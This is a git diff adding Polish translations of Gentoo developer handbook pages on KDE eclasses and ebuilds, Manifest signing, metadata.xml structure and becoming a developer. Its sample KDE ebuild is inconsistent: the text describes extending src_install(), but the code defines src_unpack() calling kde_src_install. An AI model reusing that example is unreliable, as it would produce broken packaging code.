+jest <c>all</c>, która uruchamia wszystkie powyższe sekcje.
+</p>
+
+<p>
+Wreszcie, funkcja kde_src_install() posiada sekcję <c>make</c>, która wywołuje
+polecenie make install i sekcję <c>dodoc</c>, która wywołuje polecenie dodoc na
+standardowych nazwach plików z dokumentacją w katalogu ${S}, takich jak README
+czy COPYING.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde-base.eclass</title>
+<body>
+
+<p>
+Eklasa ta jest już przestarzała, ebuildy powinny zamiast niej użyć "inherit
+kde".
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde-dist.eclass</title>
+<body>
+
+<p>
+Ta eklasa jest przeznaczona do głównych pakietów dystrybucyjnych w kategorii
+kde-base/*. Dziedziczy eklasę kde.
+</p>
+<p>
+Ustawia prawidłowe wartości zmiennych DESCRIPTION i HOMEPAGE i wywołuje
+polecenie need-kde ${PV}. Prostsze i mniejsze pakiety z kategorii kde-base/ (np.
+kdetoys) nie muszą nic w niej zmieniać. Większość tych pakietów, które to robią
+dodają tylko zależności i łatki.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde-i18n.eclass</title>
+<body>
+
+<p>
+Ta eklasa jest przeznaczona do pakietów kde-i18n-*. W zasadzie to wszystkie
+ebuildy kde-i18n są identyczne, dlatego wystarczy, jeśli po prostu odziedziczą tę
+eklasę. Ich zmienne ${P}, ${P}, ${PV} wykonają resztę roboty.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde.org.eclass</title>
+<body>
+
+<p>
+Ta eklasa także jest przestarzała i cały zawarty w niej kod został przeniesiony
+do pliku kde-dist.eclass.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>koffice-i18n.eclass</title>
+<body>
+
+<p>
+Niniejsza eklasa jest przeznaczona dla pakietów koffice-i18n-* i jest bardzo
+podobna do eklasy kde-i18n.eclass. Tak jak powyżej, wszystkie ebuildy kde-i18n
+są identyczne, dlatego wystarczy jeśli jedynie odziedziczą tę eklasę.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>kde-source.eclass</title>
+<body>
+
+<p>
+Ta eklasa rozbudowuje eklasę cvs.eclass, dodając nieco funkcjonalności
+specyficznej dla KDE. Przykładowo, automatycznie pobiera katalog admin/ z modułu
+kde-common z cvs KDE. Więcej szczegółów poznamy czytając kod eklasy, w tym
+specyficzne dla kde-cvs szczegóły, które możemy jej przekazać.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Pisanie ebuildów KDE</title>
+
+<subsection>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Niniejszy rozdział wyjaśnia jak pisać standardowe ebuildy KDE. Wszystkie zawarte
+w nim informacje to w zasadzie przypomnienie informacji przekazanych powyżej w
+rozdziałach dotyczących eklas. W razie wątpliwości należy przyjrzeć się innym
+ebuildom, eklasom lub spytać.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Typowy ebuild KDE</title>
+<body>
+
+<p>
+Po przeczytaniu niniejszego dokumentu poniższy kod powinien być jasny:
+</p>
+
+<pre caption = "Prosty ebuild KDE, część pierwsza">
+&lt;Tu będzie nagłówek...&gt;
+inherit kde</pre>
+
+<p>
+Niektóre ebuildy na tym się kończą. Inne wymagają dalszego rozwinięcia.
+</p>
+
+<p>
+Następny etap to dodanie kolejnych zależności. Pamiętajmy: *zawsze* należy
+rozszerzać zmienne, nigdy nadpisywać!
+</p>
+
+<p>
+Ponieważ naszym celem jest uniknięcie konieczności definiowania własnych
+funkcji, chyba że nie mamy innego wyjścia, dlatego najpierw w głównej sekcji
+pliku ebuild ustawiamy wszystkie zmienne i wywołujemy wszystkie funkcje
+pomocnicze jakie możemy. Należy jedynie pamiętać, że istnieją ograniczenia co do
+ilości kodu w głównej sekcji. Przykładowo, nie może ona nic wypisywać (wyjątkiem
+może być jednak funkcja debug-print()).
+</p>
+
+<pre caption = "Prosty ebuild KDE, część druga: więcej zależności" >
+DEPEND="ble/bla"
+RDEPEND="bla/ble"</pre>
+
+<p>
+Możemy także chcieć dodać kolejne parametry do zmiennej myconf, które zostaną
+wówczas przekazane do skryptu configure (zakładając, że używamy sekcji configure
+z funkcji kde_src_compile):
+</p>
+
+<pre caption = "Prosty ebuild KDE, część trzecia: przekazywanie parametrów do
+configure" >
+myconf="$myconf --with-blabla"</pre>
+
+<p>
+Możemy także chcieć dodać łatkę. Jeśli może zostać nałożona z parametrem -p0 w
+katalogu ${S}, możemy wykorzystać sekcję <c>autopatch</c> funkcji
+base_src_unpack. Pamiętajmy: kde_src_unpack() wywołuje funkcję
+base_src_unpack(), przekazując jej wszelkie własne parametry.
+</p>
+
+<pre caption = "Prosty ebuild KDE, część czwarta: automatyczne nakładanie
+łatek" >
+PATCHES="$FILESDIR/$P-mojapoprawka.diff"</pre>
+
+<p>
+Na końcu możemy chcieć rozbudować funkcję src_install(), aby przekopiować
+dokumentację:
+</p>
+
+<pre caption = "Prosty ebuild KDE, część piąta: rozszerzanie funkcji
+src_install()" >
+src_unpack() {
+    kde_src_install
+    dodoc $S/doc/*
+}</pre>
+
+<p>
+Przyjrzyjmy się ebuildowi, który stworzyliśmy w tym przykładzie:
+</p>
+
+<pre caption = "Prosty ebuild KDE, kompletny listing" >
+&lt;Tu będzie nagłówek...&gt;
+inherit kde
+
+# dodajemy zależności
+DEPEND="bla/ble"
+RDEPEND="ble/bla"
+
+# zawsze włączamy blabla
+myconf="${myconf} --with-blabla"
+
+# poprawiamy ten okropny błąd
+PATCHES="${FILESDIR}/${P}-mojapoprawka.diff"
+
+src_unpack() {
+    kde_src_install
+# zainstalujmy dokumentację, której nie uwzględnia make install
+    dodoc ${S}/doc/*
+}</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Typowy ebuild z opcjonalną funkcjonalnością KDE</title>
+<body>
+
+<p>
+Dodając (poprzez eklasy) funkcjonalność kde do istniejących ebuildów, powinniśmy
+poprzedzić każdą specyficzną dla kde linijkę poleceniem <c>use kde
+&amp;&amp;</c>, lub stworzyć cały blok <c>if [ -n "`use kde`" ]; then; fi</c>.
+</p>
+
+<p>
+W ogólnej sekcji powinniśmy dodać poniższą linijkę (oczywiście jedynie wtedy,
+gdy ustawiona jest flaga USE kde):
+</p>
+
+<pre caption = "Opcjonalne wsparcie dla KDE - główna sekcja pliku ebuild" >
+inherit kde-functions
+
+# Spowoduje to dodanie kdelibs i kde-env do zależności i ustawienie w zmiennej
+# ${KDEDIR} poprawnej wartości:
+
+need-kde ${version} # minimalna wersja KDE, jakiej wymaga nasza aplikacja
+
+# Dodajmy pozostałe rzeczy potrzebne do obsługi KDE:
+use kde &amp;&amp; myconf="${myconf} --with-mój-parametr"</pre>
+
+<p>
+Następnie powinniśmy poinformować aplikację, aby szukała KDE w zmiennej
+${KDEDIR}, która będzie dostępna po wywołaniu funkcji need-kde(). Jesli nie
+chcemy dodawać pakietu kdelibs do zależności, powinniśmy użyć funkcji
+set-kdedir() zamiast need-kde().
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-manifest-signing.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-manifest-signing.xml
new file mode 100644
index 00000000..9a4dfdce
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-manifest-signing.xml
@@ -0,0 +1,82 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-02-02</date>
+
+<section>
+<title>Jak utworzyć Manifest?</title>
+<subsection>
+<body>
+
+<p>
+Wymagania:
+</p>
+
+<ul>
+  <li>&gt;=sys-apps/portage-2.0.51_pre10</li>
+  <li>&gt;=app-crypt/gnupg-1.2.4</li>
+</ul>
+
+<p>
+Ustawianie klucza:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="/doc/pl/gnupg-user.xml#doc_chap2">Tworzymy</uri> klucz DSA GnuPG o
+    przynajmniej 1024 bitowej długości, data wygaśnięcia nie powinna być dalsza
+    niż 6 miesięcy, a samo hasło dosyć skomplikowane.
+  </li>
+  <li>
+    <uri link="/doc/pl/gnupg-user.xml#doc_chap3">Wysyłamy</uri> klucz na serwer
+    kluczy (keyserver).
+  </li>
+</ul>
+
+<p>
+Konfiguracja Portage:
+</p>
+
+<ul>
+  <li>
+    Ustawiamy <path>PORTAGE_GPG_DIR</path> w katalogu <path>~/.gnupg/</path>
+    (lub w katalogu, który zawiera nasz klucz z bazą kluczy).
+  </li>
+  <li>Ustawiamy <path>PORTAGE_GPG_KEY</path> w id klucza dla naszego nowego klucza.</li>
+  <li>Ustawiamy FEATURES="sign".</li>
+</ul>
+
+<p>
+Teraz możemy przypisywać nasze Manifesty do zatwierdzenia przez repomana.
+Repoman będzie prosił o hasło zanim zaakceptuje Manifest. Ten krok następuje
+<e>po</e> zatwierdzeniu innych plików. W tym momencie repoman nie sprawdza czy
+Manifest jest już przypisany, by inni mogli później "odpisać" nasz Manifest.
+Ta zmiana nastąpi zanim przypisanie zostanie wykonane.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Jak weryfikować Manifesty?</title>
+<subsection>
+<body>
+
+<p>
+W tej chwili portage nie posiada zintegrowanej weryfikacji.  Pierwszym krokiem
+do sprawdzenia Manifestu jest testowy skrypt dostępny <uri
+link="http://dev.gentoo.org/~genone/scripts/portage-gpg-verify.sh">tutaj</uri>.
+Jest to niekompletny skrypt, udostępniony tylko do testowania. Nie mamy żadnych
+gwarancji na powodzenie przy jego użyciu.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-metadata.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-metadata.xml
new file mode 100644
index 00000000..fb784913
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-metadata.xml
@@ -0,0 +1,468 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-guide-metadata.xml,v 1.8 2009/04/14 11:45:27 shadow Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.7</version>
+<date>2008-09-11</date>
+
+<section>
+<title>Dlaczego metadata.xml jest potrzebne?</title>
+<subsection>
+<body>
+
+<p>
+Plik <path>metadata.xml</path> zawiera dodatkowe informacje o ebuildach i
+powinien istnieć w każdym katalogu z pakietem. Jego plik szkieletowy ma
+nazwę <path>skel.metadata.xml</path> i znajduje się w drzewie Portage.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Struktura pliku Metadata</title>
+<subsection>
+<body>
+
+<p>
+Plik <path>metadata.xml</path> może zawierać kilka etykiet:
+</p>
+
+<table>
+<tr>
+  <th>etykieta</th>
+  <th>opis</th>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;pkgmetadata&gt;</brite>
+  </ti>
+  <ti>
+    Jest to źródłowy element pliku <path>metadata.xml</path> dla pakietów. Nie
+    posiada żadnych atrybutów. Wymagana, drugorzędna etykieta tego pliku to:
+    <brite>&lt;herd&gt;</brite>. Następujące podrzędne etykiety są dozwolone:
+    <brite>&lt;email&gt;</brite> czyli adres e-mail herdu,
+    <brite>&lt;maintainer&gt;</brite>,
+    <brite>&lt;longdescription&gt;</brite>,
+    <brite>&lt;use&gt;</brite> i
+    <brite>&lt;upstream&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;catmetadata&gt;</brite>
+  </ti>
+  <ti>
+    Jest to główny element pliku <path>metadata.xml</path> dla kategorii, tak
+    jak w <uri link="/proj/en/glep/glep-0034.html">GLEP 34</uri>. Nie posiada
+    on atrybutów. Zawiera pewną ilość etykiet
+    <brite>&lt;longdescription&gt;</brite>, każda dla innego języka.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;herd&gt;</brite>
+  </ti>
+  <ti>
+    Musi istnieć przynajmniej jedna "podetykieta" herd. Zawartość tej
+    etykiety musi składać się z nazwy herd, jak przedstawia plik <uri
+    link="http://sources.gentoo.org/viewcvs.py/*checkout*/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml?content-type=text/plain&amp;rev=HEAD">herds.xml</uri>.
+    Opcja ta musi się pojawić przynajmniej raz o ile nie wybrano no-herd.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <brite>&lt;maintainer&gt;</brite>
+  </ti>
+  <ti>
+    Poza przynależnością do herdu, pakiet może również być zarządzany
+    bezpośrednio. Zarządzający pakietem mogą zostać określeni za pomocą
+    etykiety <brite>&lt;maintainer&gt;</brite>. Ta etykieta nie musi zawierać
+    "podetykiet": <brite>&lt;email&gt;</brite>. Posiada dwie opcjonalna
+    "podetykiety": <brite>&lt;name&gt;</brite>, oraz
+    <brite>&lt;description&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>
+    Tutaj znajduje się adres e-mail osoby zarządzającej. Opcja wymagana.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    Ta etykieta zawiera imię i nazwisko osoby zarządzającej. Jest opcjonalna.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;description&gt;</brite></ti>
+  <ti>
+    Etykieta opisu zawiera opis zarządzania lub na przykład informację o tym,
+    że jeśli pojawią się chętni, to mogą przejąć zarządzanie pakietem. Opcja
+    nie jest wymagana.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;longdescription&gt;</brite></ti>
+  <ti>
+    Ta etykieta zawiera opis pakietu. Służy ona do powiększania pola OPISU w
+    ebuildach. Etykieta ta zawiera dwie opcjonalne podetykiety:
+    <brite>&lt;pkg&gt;</brite> i <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;use&gt;</brite></ti>
+  <ti>
+    Etykieta ta zawiera opis <uri
+    link="/doc/pl/handbook/handbook-x86.xml?part=2&amp;chap=2">flag USE</uri>.
+    Jest ona opcjonalna i jeśli jej użyjemy musimy dodatkowo dodać etykietę:
+    <brite>&lt;flag&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;flag&gt;</brite></ti>
+  <ti>
+    Etykieta ta zawiera opis w jaki sposób flaga USE wywiera wpływ na pakiety,
+    z którym jest skojarzona. Jest ona wymagana w przypadku użycia etykiety
+    <brite>&lt;use&gt;</brite>. Wymagane jest również nazwanie flagi USE w
+    atrybucie <c>name</c>. Etykieta ta posiada dwie opcjonalne podetykiety:
+    <brite>&lt;pkg&gt;</brite> i <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;upstream&gt;</brite></ti>
+  <ti>
+    Etykieta ta zawiera informacje o deweloperach danego projektu.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    Nazwisko i adres e-mail opiekuna projektu. Może pojawić się kilka
+    razy.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    Nazwa opiekuna projektu powinna zawierać blok tekstowy z nazwiskami
+    deweloperów projektu. Element ten jest obowiązkowy i może być użyty tylko
+    raz.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>
+    Adres email projektu może zostać użyty tylko raz.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;changelog&gt;</brite></ti>
+  <ti>
+    Zawiera adres URL miejsca, w którym powinnien znajdować się changelog
+    projektu. Adres nie może być zależny od wersji pakietu i musi wskazywać na
+    changelog, który jest aktualizowany jedynie w przypadku nowych wydań danego
+    pakietu (Odnosi się to również do sytuacji, w której adres kieruje do
+    changelog generowanego automatycznie w przypadku migawek cvs).
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;doc&gt;</brite></ti>
+  <ti>
+    Zawiera adres URL miejsca, w którym znajduje się dokumentacja projektu.
+    Adres nie może kierować do dokumentacji stron trzecich i musi być
+    niezależna od wersji. W przypadku gdy dokumentacja dostępnach jest w wielu
+    językach, w adresie można zawrzeć atrybut odnoszący sie do danego języka,
+    na takich zasadach jak w etykiecie longdescription.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;bugs-to&gt;</brite></ti>
+  <ti>
+    Powinna zawierać miejsce, w którym można zgłaszać błędy. Może to być adres
+    URL lub e-mail poprzedzony słowem mailto:.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;remote-id&gt;</brite></ti>
+  <ti>
+    Etykieta, która powinna zawierać typ trakera identyfikującego pakiet.
+    remote-id powinno ułatwić indeksowanie takich informacji jak ID Freashmeat
+    czy nazwę CPAN.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;pkg&gt;</brite></ti>
+  <ti>Etykieta ta zawiera poprawną nazwę pakietu w formacie DEPEND.</ti>
+</tr>
+<tr>
+  <ti><brite>&lt;cat&gt;</brite></ti>
+  <ti>
+    Etykieta ta zawiera poprawną nazwę kategori zdefiniowaną w pliku
+    <path>profiles/categories</path>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Istnieją również pewne atrybuty, których możemy uzyć z tymi etykietami.
+Wszystkie są opcjonalne:
+</p>
+
+<table>
+<tr>
+  <th>atrybut</th>
+  <th>etykiety</th>
+  <th>opis</th>
+</tr>
+<tr>
+  <ti>lang</ti>
+  <ti>
+    <brite>&lt;description&gt;</brite>, <brite>&lt;longdescription&gt;</brite>,
+    <brite>&lt;use&gt;</brite>, <brite>&lt;doc&gt;</brite>
+  </ti>
+  <ti>
+    W każdym przypadku, gdy opis jest wymagany, musi istnieć
+    <e>przynajmniej</e> anglojęzyczny opis.  Jeżeli podano dodatkowy opis w
+    innym języku, atrybut ten jest używany do określenia języka w jakim został
+    napisany.  Format języka jest dwuznakowy i jest definiowany normą <uri
+    link="http://www.w3.org/WAI/ER/IG/ert/iso639.htm#2letter">ISO-639-1</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>restrict</ti>
+  <ti>
+    <brite>&lt;herd&gt;</brite>, <brite>&lt;maintainer&gt;</brite>,
+    <brite>&lt;longdescription&gt;</brite>, <brite>&lt;flag&gt;</brite>
+  </ti>
+  <ti>
+    Atrybut restrict pozwala na ograniczanie aplikacji z konkretnymi etykietami
+    dla konkretnych wersji pakietu. Kiedy atrybut ten zostanie użyty, etykieta
+    bez atrybutu musi zostać utworzona. Etykieta bez atrybutu restrict posłuży
+    nam jako domyślny przykład. Format atrybutu restrict jest taki sam jak
+    format flagi DEPEND, z wyjątkiem "&lt;" i "&gt;", które
+    muszą być określone poprzez &amp;lt; i &amp;gt;.<br /> <br /> Dla
+    przykładu, w pakiecie <c>sys-lib/db</c>
+    <c>restrict="&gt;=sys-libs/db-3.2.9-r5"</c> na etykiecie maintainer
+    wskazuje, iż zarządzający administruje w tej chwili wszystkimi wersjami
+    większymi od 3.2.9-r5.
+  </ti>
+</tr>
+<tr>
+  <ti>name</ti>
+  <ti>
+    <brite>&lt;name&gt;</brite>
+  </ti>
+  <ti>
+    Atrybut ten wymagany jest dla etykiety <brite>&lt;flag&gt;</brite>.
+    Przechowuje on flagę USE. <br /><br />
+    Dla przykładu w pakiecie <c>sys-apps/hal</c>, <c>&gt;flag
+    name='acpi'&gt;Enables ACPI&lt;/flag&gt;</c>
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>
+    <brite>&lt;maintainer&gt;</brite>
+  </ti>
+  <ti>
+    Element ten posiada atrybut statusu, który może przyjąć wartość aktywny lub
+    nieaktywyny. Atrybut ten nie jest obowiązkowy. W przypadku gdy status nie
+    jest podany przyjmujemy go jako nieznany. Należy zwrócić uwagę, że atrybut
+    ten jest dozwolony jedynie w przypadku elementów &lt;upstream&gt;
+    &lt;maintainer&gt;.
+  </ti>
+</tr>
+<tr>
+  <ti>type</ti>
+  <ti>
+    <brite>&lt;remote-id&gt;</brite>
+  </ti>
+  <ti>
+    Element identyfikujący typ źródła deweloperów zajmujących się projektem.
+    Lista poprawnych wpisów przetrzymywana jest w pliku metadata.dtd. Przed
+    użyciem nowego typu deweloper powinien wysłać wiadomości na listę
+    dyskusyjną gentoo-dev.
+  </ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Przykłady Metadata</title>
+<subsection>
+<title>Pierwszy przykład</title>
+<body>
+
+<p>
+W pierwszym przykładzie widzimy plik <path>metadata.xml</path> dla pakietu
+OpenOffice, którego ebuildy należą do herdu o nazwie <c>openoffice</c>:
+</p>
+
+<pre caption="Pakiety zarządzane przez herd">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;openoffice&lt;/herd&gt;
+  &lt;longdescription&gt;
+    OpenOffice is the  opensource version of staroffice.
+    This ebuild allows you to compile it yourself. Unfortunately this
+    compilation can take up to a day depending on the speed of your
+    computer. It will however make a snappier openoffice than the binary
+    version.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+<p>
+Herd <c>openoffice</c> jest zdefiniowany w pliku <path>herds.xml</path> przez
+<uri link="/proj/en/metastructure">Projekt Metastruktury Gentoo</uri>:
+</p>
+
+<note>
+Ten przykład może być przestarzały w momencie czytania. To tylko przykład!
+</note>
+
+<pre caption="Przykład wpisu dla herdu OpenOffice">
+&lt;herd&gt;
+  &lt;name&gt;openoffice&lt;/name&gt;
+  &lt;email&gt;openoffice@gentoo.org&lt;/email&gt;
+  &lt;description&gt;Openoffice related packages&lt;/description&gt;
+  &lt;maintainer&gt;&lt;email&gt;pauldv@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+  &lt;maintainer&gt;&lt;email&gt;suka@gentoo.org&lt;/email&gt;&lt;/maintainer&gt;
+&lt;/herd&gt;
+</pre>
+
+<p>
+Jeżeli chcemy dodać (lub usunąć) siebie z herdu, edytujemy
+<path>herds.xml</path> znajdujący się w
+<path>[gentoo]/xml/htdocs/proj/en/metastructure/herds</path> w
+repozytorium Gentoo CVS. Musimy znać aliasy e-maili, którymi posługuje
+się herd (na przykład herd "sound" posiada <mail
+link="sound@gentoo.org">sound@gentoo.org</mail>) i dodać się do aliasu
+(edytując <path>/var/mail/alias/misc/&lt;alias name&gt;</path> na
+dev.gentoo.org).
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Drugi przykład</title>
+<body>
+
+<p>
+W drugim przykładzie przeglądamy plik <path>metadata.xml</path> dla
+<c>mirrorselect</c>. Ebuild jest zarządzany przez herd <c>tools-portage</c>,
+ale posiada oddzielnych zarządzających.
+</p>
+
+<pre caption="Pakiet zarządzany indywidualnie i przez herd">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+  &lt;herd&gt;tools-portage&lt;/herd&gt;
+  &lt;maintainer&gt;
+    &lt;email&gt;johnm@gentoo.org&lt;/email&gt;
+    &lt;name&gt;John Mylchreest&lt;/name&gt;
+  &lt;/maintainer&gt;
+  &lt;longdescription&gt;
+    This utility is used to select the fastest mirror (distfiles) and provide a
+    nicer front-end for mirror selection (both rsync + distfiles) to a user.
+  &lt;/longdescription&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Trzeci przykład</title>
+<body>
+
+<p>
+W trzecim przykładzie opiszemy plik <path>metadata.xml</path> pakietu
+<c>sys-apps/hal</c>. Ebuild ten jest rozwijany przez herd <c>gentopia</c> i
+zawiera opisy flag USE.
+</p>
+
+<pre caption="Opis flag USE">
+&lt;?xml version="1.0" encoding="UTF-8"&gt;
+&lt;!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd"&gt;
+&lt;pkgmetadata&gt;
+&lt;herd&gt;gentopia&lt;/herd&gt;
+&lt;maintainer&gt;
+        &lt;email&gt;compnerd@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;maintainer&gt;
+        &lt;email&gt;steev@gentoo.org&lt;/email&gt;
+&lt;/maintainer&gt;
+&lt;use&gt;
+        &lt;flag name='acpi'&gt;Enables HAL to attempt to read from
+        /proc/acpi/event, if unavailable, HAL will read events from
+        &lt;pkg&gt;sys-power/acpid&lt;/pkg&gt;. If you need multiple acpi
+        readers, ensure acpid is in your default runlevel along with HAL. This
+        will also enable HAL to read Toshia and IBM acpi events which do not
+        get sent via /proc/acpi/event&lt;/flag&gt;
+        &lt;flag name='crypt'&gt;Allows HAL to mount volumes that are encrypted using
+        LUKS. &lt;pkg&gt;sys-fs/cryptsetup-luks&lt;/pkg&gt; which has recently been renamed
+        to &lt;pkg&gt;sys-fs/cryptsetup&lt;/pkg&gt; allows you to create such encrypted
+        volumes. HAL will be able to handle volumes that are removable or
+        fixed.&lt;/flag&gt;
+        &lt;flag name='dell'&gt;Builds an installs the Dell addon, which reads data from
+        the Dell SM BIOS via &lt;pkg&gt;sys-libs/libsmbios&lt;/pkg&gt;. It will read your
+        service tag information and your hardware backlight data as well as
+        allow you to modify the backlight settings on a Dell laptop.&lt;/flag&gt;
+        &lt;flag name='disk-partition'&gt;Allows HAL to use libparted from
+        &lt;pkg&gt;sys-apps/parted&lt;/pkg&gt; to read raw partition data from your disks
+        and process that data. Future versions of HAL (possibly 0.5.11 and
+        higher) will allow you to create, modify, delete and format partitions
+        from a GUI interface agnostic of your desktop environment.&lt;/flag&gt;
+        &lt;flag name='doc'&gt;Generates documentation that describes HAL's fdi
+        format.&lt;/flag&gt;
+        &lt;flag name='pcmcia'&gt;Allows HAL to process PCMCIA/CardBus slot data which
+        includes inserts and removals and act on these events.&lt;/flag&gt;
+        &lt;flag name='selinux'&gt;Installs SELinux policies and links HAL to the SELinux
+        libraries.&lt;/flag&gt;
+&lt;/use&gt;
+&lt;/pkgmetadata&gt;
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Przykład czwarty</title>
+<body>
+
+<p>
+W przykładzie tym zademonstrowano użycie elementu upstream:
+</p>
+
+<pre caption="Opis upstream">
+&lt;upstream&gt;
+       &lt;maintainer status="inactive"&gt;
+               &lt;name&gt;Foo Bar&lt;/name&gt;
+               &lt;email&gt;foo@bar.bar&lt;/email&gt;
+       &lt;/maintainer&gt;
+       &lt;maintainer status="active"&gt;
+               &lt;name&gt;Foo Gentoo&lt;/name&gt;
+               &lt;email&gt;foo@gentoo.org&lt;/email&gt;
+       &lt;/maintainer&gt;
+       &lt;changelog&gt;http://foo.bar/changelog.txt&lt;/changelog&gt;
+       &lt;doc lang="en"&gt;http://foo.bar/doc/index.html&lt;/doc&gt;
+       &lt;doc lang="de"&gt;http://foo.bar/doc/index.de.html&lt;/doc&gt;
+       &lt;bugs-to&gt;https://bugs.foo.bar&lt;/bugs-to&gt;
+       &lt;remote-id type="freshmeat"&gt;foobar&lt;/remote-id&gt;
+       &lt;remote-id type="sourceforge"&gt;foobar&lt;/remote-id&gt;
+&lt;/upstream&gt;
+</pre>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-becoming-a-dev.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-becoming-a-dev.xml
new file mode 100644
index 00000000..78e1a0ff
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-becoming-a-dev.xml
@@ -0,0 +1,138 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-introduction-becoming-a-dev.xml,v 1.3 2006/09/07 11:50:26 rane Exp $ -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Deweloperem Gentoo można zostać na kilka sposobów. Wszystkie omówimy w tym
+dokumencie. Opowiemy też o wszystkich etapach rekrutacji nowych deweloperów.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pomoc</title>
+<body>
+
+<p>
+Po pierwsze, aby zostać deweloperem należy zgłosić się do pracy lub po prostu
+pomagać wspierając użytkowników i naprawiając błędy. Potrzebni są nie tylko
+programiści, deweloperem może zostać również osoba dobrze pisząca lub
+tłumacząca dokumentację albo doświadczony administrator, który pomoże zarządzać
+naszą infrastrukturą. Wszyscy są równie ważni i potrzebni całemu projektowi.
+</p>
+
+<p>
+Należy śledzić informacje w GWN o zmianach kadrowych wśród deweloperów oraz
+czytać temat kanału #gentoo-bugs na irc.freenode.net - jeżeli nasze
+umiejętności spełnią wymogi pozwalające na zajęcie jednej z tych pozycji,
+możemy zacząć szukać mentora, czyli osoby, która wprowadzi nas do grupy
+deweloperów Gentoo lub, jeśli to się nie powiedzie, po prostu skontaktować się
+z <mail link="recruiters@gentoo.org">zespołem rekrutacji</mail> i poprosić o
